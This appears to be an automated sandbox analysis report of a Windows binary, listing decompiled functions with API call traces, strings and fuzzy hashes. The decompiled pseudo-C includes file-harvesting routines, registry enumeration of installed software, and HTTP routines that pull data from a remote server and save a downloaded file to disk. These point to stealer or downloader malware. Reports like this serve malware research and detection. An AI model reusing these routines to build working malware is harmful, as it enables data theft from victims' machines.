0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00899950), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,0089AB68), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,0089ADA8), ref: 004091A9
lstrlen.KERNEL32(0089ADA8), ref: 004091C9
StrStrA.SHLWAPI(00000000,0089AC28), ref: 004091ED
lstrcat.KERNEL32(00000000,0089A180), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,0089A0A0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,0089A220), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,0089B4D8), ref: 004092BA
lstrlen.KERNEL32(0089B4D8), ref: 004092C8
StrStrA.SHLWAPI(00000000,0089B6F8), ref: 004092E6
lstrcat.KERNEL32(00000000,0089A230), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,0089B6F8), ref: 00409350
lstrlen.KERNEL32(0089B6F8), ref: 0040935E
StrStrA.SHLWAPI(00000000,0089A350), ref: 0040937C
lstrcat.KERNEL32(00000000,0089A050), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

, xrefs: 0040908F

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,0089A2F0), ref: 00407EF9
lstrcat.KERNEL32(?,0089A3F0), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,0089A2F0), ref: 00407F58
lstrcat.KERNEL32(?,0089A3F0), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 43.8, APIs: 29, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(0089A6D0), ref: 00406CAA

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,0089A2F0), ref: 00408DEA
lstrcat.KERNEL32(?,0089A3F0), ref: 00408E10
lstrcat.KERNEL32(?,0089A2F0), ref: 00408EC8
lstrcat.KERNEL32(?,0089A3F0), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,0089A180), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,0089A0A0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,0089A220), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,0089A230), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,0089A050), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,00884408,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,00884408,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00884408), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
200, xrefs: 0040534D

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x884bc0
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x884bc0
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x89c338
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x89c0b0
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,00884BC0,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.gz, xrefs: 004115FC
.arc, xrefs: 004115B7
.lzh, xrefs: 004115CE
.zoo, xrefs: 004115A0
.arj, xrefs: 004115E5
.zip, xrefs: 00411586
.tgz, xrefs: 00411613

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

